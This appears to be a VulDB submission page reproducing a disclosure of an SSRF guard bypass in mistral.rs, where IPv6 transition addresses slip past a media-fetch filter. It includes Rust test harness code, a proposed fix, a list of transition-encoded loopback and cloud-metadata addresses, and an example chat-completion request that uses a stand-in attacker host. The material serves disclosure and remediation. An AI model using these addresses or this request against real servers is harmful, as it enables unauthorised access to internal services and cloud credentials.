जमा करें #997600: https://github.com/EricLBuehler/ mistral.rs v0.9.2 Server-Side Request Forgeryजानकारी

शीर्षकhttps://github.com/EricLBuehler/ mistral.rs v0.9.2 Server-Side Request Forgery
विवरणMedia-fetch SSRF guard bypass via IPv6 transition addresses (NAT64/6to4/IPv4-compatible) ## Summary The media-fetch SSRF guard added in `mistralrs-server-core/src/media_source.rs` (the fix for GHSA-wfgq-w7cq-qj7j) rejects private, loopback, link-local and reserved destinations, and unwraps IPv4-mapped IPv6 addresses before classifying them. It does not unwrap the other IPv6 forms that embed an IPv4 address: NAT64 (`64:ff9b::/96`, `64:ff9b:1::/48`), 6to4 (`2002::/16`), and IPv4-compatible (`::/96`). An address such as `64:ff9b::a9fe:a9fe` (NAT64 for `x.x.x.x`) is classified as a global address and allowed. On a deployment with NAT64/DNS64 or 6to4 egress, an unauthenticated client of the default vision/audio server can supply a media URL whose host resolves to one of these addresses and reach loopback services, link-local cloud metadata, and other internal IPv4 targets, re-opening the SSRF the advisory closed for the plain-IPv4 case. ## Details `is_global_ip` classifies a resolved destination address: ```rust fn is_global_ip(ip: IpAddr) -> bool { match ip { IpAddr::V4(ip) => is_global_ipv4(ip), IpAddr::V6(ip) => { if let Some(ip) = ip.to_ipv4_mapped() { return is_global_ipv4(ip); } is_global_ipv6(ip) } } } ``` `Ipv6Addr::to_ipv4_mapped()` returns `Some` only for the IPv4-mapped range `::ffff:0:0/96`. For every other IPv6 form that carries an IPv4 address it returns `None`, so the address falls through to `is_global_ipv6`: ```rust fn is_global_ipv6(ip: Ipv6Addr) -> bool { let segments = ip.segments(); !(ip.is_loopback() || ip.is_unspecified() || ip.is_unique_local() || ip.is_unicast_link_local() || ip.is_multicast() || segments[0] == 0x2001 && segments[1] == 0x0db8) } ``` `is_global_ipv6` never inspects the embedded IPv4, so: - `64:ff9b::7f00:1` (NAT64 of `127.0.0.1`) is not loopback/private/etc. as a raw v6 address, so it is reported global. - `64:ff9b::a9fe:a9fe` (NAT64 of `x.x.x.x`, the cloud metadata address) is reported global. - `2002:7f00:1::` (6to4 of `127.0.0.1`) and `2002:a9fe:a9fe::` (6to4 of `x.x.x.x`) are reported global. - `::7f00:1` (IPv4-compatible of `127.0.0.1`) is reported global. `validate_remote_url` resolves the request host and calls `reject_private_ip(addr.ip())` for each resolved address, then pins the connection to the validated address with `resolve_to_addrs`. Because the classifier accepts the transition addresses, the guard permits the fetch and pins to the transition address. On a host with a NAT64/6to4 gateway, the kernel forwards that connection to the embedded IPv4 target (loopback, link-local metadata, or any internal IPv4), giving a blind SSRF plus the file-type/existence and internal-service reconnaissance primitives described in GHSA-wfgq-w7cq-qj7j, for image, audio and video sources alike (all three route through `load_media_source` with `MediaSourcePolicy::ServerRequest`). The vector is a hostname, not a bracketed literal: `url::Url::host_str()` returns an IPv6 literal with its brackets, which fails the resolver, but a normal hostname whose AAAA record is a transition address resolves cleanly. DNS64 resolvers on a NAT64 network synthesize exactly these AAAA records for any name, and an attacker can also publish such an AAAA for a name they control. ## Proof of Concept The guard is self-contained `std::net` + `url` logic. The following harness copies `is_global_ip`, `is_global_ipv4` and `is_global_ipv6` verbatim from `media_source.rs` (shipped `master`, d5ae0f1) and exercises them over the transition encodings. The `_fixed` variant is the proposed patch. `Cargo.toml`: ```toml [package] name = "ssrf_harness" version = "0.0.0" edition = "2021" [dependencies] url = "2" ``` `src/lib.rs`: ```rust use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; // ---- verbatim from media_source.rs (shipped guard) ---- pub fn is_global_ip_vuln(ip: IpAddr) -> bool { match ip { IpAddr::V4(ip) => is_global_ipv4(ip), IpAddr::V6(ip) => { if let Some(ip) = ip.to_ipv4_mapped() { return is_global_ipv4(ip); } is_global_ipv6_vuln(ip) } } } fn is_global_ipv4(ip: Ipv4Addr) -> bool { let octets = ip.octets(); !(ip.is_private() || ip.is_loopback() || ip.is_link_local() || ip.is_broadcast() || ip.is_unspecified() || ip.is_multicast() || matches!(octets, [100, 64..=127, _, _]) || matches!(octets, [192, 0, 0, _]) || matches!(octets, [192, 0, 2, _]) || matches!(octets, [198, 18 | 19, _, _]) || matches!(octets, [198, 51, 100, _]) || matches!(octets, [203, 0, 113, _]) || octets[0] >= 240) } fn is_global_ipv6_vuln(ip: Ipv6Addr) -> bool { let segments = ip.segments(); !(ip.is_loopback() || ip.is_unspecified() || ip.is_unique_local() || ip.is_unicast_link_local() || ip.is_multicast() || segments[0] == 0x2001 && segments[1] == 0x0db8) } // ---- proposed fix: unwrap the embedded IPv4 first ---- pub fn is_global_ip_fixed(ip: IpAddr) -> bool { match ip { IpAddr::V4(ip) => is_global_ipv4(ip), IpAddr::V6(ip) => { if let Some(v4) = embedded_ipv4(ip) { return is_global_ipv4(v4); } is_global_ipv6_vuln(ip) } } } fn embedded_ipv4(ip: Ipv6Addr) -> Option<Ipv4Addr> { if let Some(v4) = ip.to_ipv4_mapped() { return Some(v4); } let segs = ip.segments(); if segs[0] == 0x2002 { return Some(Ipv4Addr::new( (segs[1] >> 8) as u8, (segs[1] & 0xff) as u8, (segs[2] >> 8) as u8, (segs[2] & 0xff) as u8, )); } let is_nat64 = (segs[0] == 0x0064 && segs[1] == 0xff9b && segs[2] == 0 && segs[3] == 0 && segs[4] == 0 && segs[5] == 0) || (segs[0] == 0x0064 && segs[1] == 0xff9b && segs[2] == 0x0001); let is_ipv4_compat = segs[0] == 0 && segs[1] == 0 && segs[2] == 0 && segs[3] == 0 && segs[4] == 0 && segs[5] == 0 && !(segs[6] == 0 && (segs[7] == 0 || segs[7] == 1)); if is_nat64 || is_ipv4_compat { let low = (u32::from(segs[6]) << 16) | u32::from(segs[7]); return Some(Ipv4Addr::from(low)); } None } #[cfg(test)] mod tests { use super::*; const INTERNAL: [&str; 6] = [ "64:ff9b::7f00:1", // NAT64 of 127.0.0.1 "64:ff9b::a9fe:a9fe", // NAT64 of x.x.x.x (cloud metadata) "64:ff9b:1::a9fe:a9fe", // NAT64 /48 variant "2002:7f00:1::", // 6to4 of 127.0.0.1 "2002:a9fe:a9fe::", // 6to4 of x.x.x.x "::7f00:1", // IPv4-compatible of 127.0.0.1 ]; #[test] fn shipped_guard_allows_transition_wrapped_internal_ipv4() { for s in INTERNAL { let ip: IpAddr = s.parse().unwrap(); assert!(is_global_ip_vuln(ip), "shipped guard allows {s}"); } } #[test] fn fixed_guard_blocks_transition_wrapped_internal_ipv4() { for s in INTERNAL { let ip: IpAddr = s.parse().unwrap(); assert!(!is_global_ip_fixed(ip), "fixed guard blocks {s}"); } } #[test] fn fixed_guard_keeps_public_ipv4_and_native_v6() { for s in ["2002:808:808::", "64:ff9b::101:101"] { let ip: IpAddr = s.parse().unwrap(); assert!(is_global_ip_fixed(ip), "public stays global {s}"); } let cf: IpAddr = "2606:4700:4700::1111".parse().unwrap(); assert!(is_global_ip_vuln(cf) && is_global_ip_fixed(cf)); } } ``` Result: `shipped_guard_allows_transition_wrapped_internal_ipv4` passes (the shipped classifier reports every internal target as global, i.e. allowed); `fixed_guard_blocks_transition_wrapped_internal_ipv4` passes with the fix applied; `fixed_guard_keeps_public_ipv4_and_native_v6` confirms the fix does not over-block transition-wrapped public IPv4 or native global IPv6. End-to-end request shape against a default vision deployment on a NAT64/DNS64 network, where `media.attacker.example` has an AAAA of `64:ff9b::a9fe:a9fe`: ``` POST /v1/chat/completions {"model":"<vlm>","messages":[{"role":"user","content":[ {"type":"image_url","image_url":{"url":"http://media.attacker.example/x"}}, {"type":"text","text":"hi"}]}],"max_tokens":1} ``` `validate_remote_url` resolves the host to `64:ff9b::a9fe:a9fe`, classifies it as global, pins the connection to it, and the NAT64 gateway forwards to `x.x.x.x`. ## Impact An unauthenticated client of a default vision/audio deployment on a NAT64/DNS64 or 6to4 network can bypass the media-fetch SSRF guard for internal IPv4 targets by using a host that resolves to a transition address. The consequences match GHSA-wfgq-w7cq-qj7j for the plain-IPv4 case: blind SSRF egress to loopback and int
स्रोत⚠️ https://github.com/EricLBuehler/mistral.rs/commit/cfb8c6a0c
उपयोगकर्ता
 carfeii (UID 97470)
सबमिशन24/09/2026 12:45 PM (1 महीना पहले)
संयम11/10/2026 08:31 PM (17 days later)
स्थितिस्वीकृत
VulDB प्रविष्टि416763 [EricLBuehler mistral.rs तक 0.9.3 media_source.rs is_global_ip अधिकार वृद्धि]
अंक20

Want to know what is going to be exploited?

We predict KEV entries!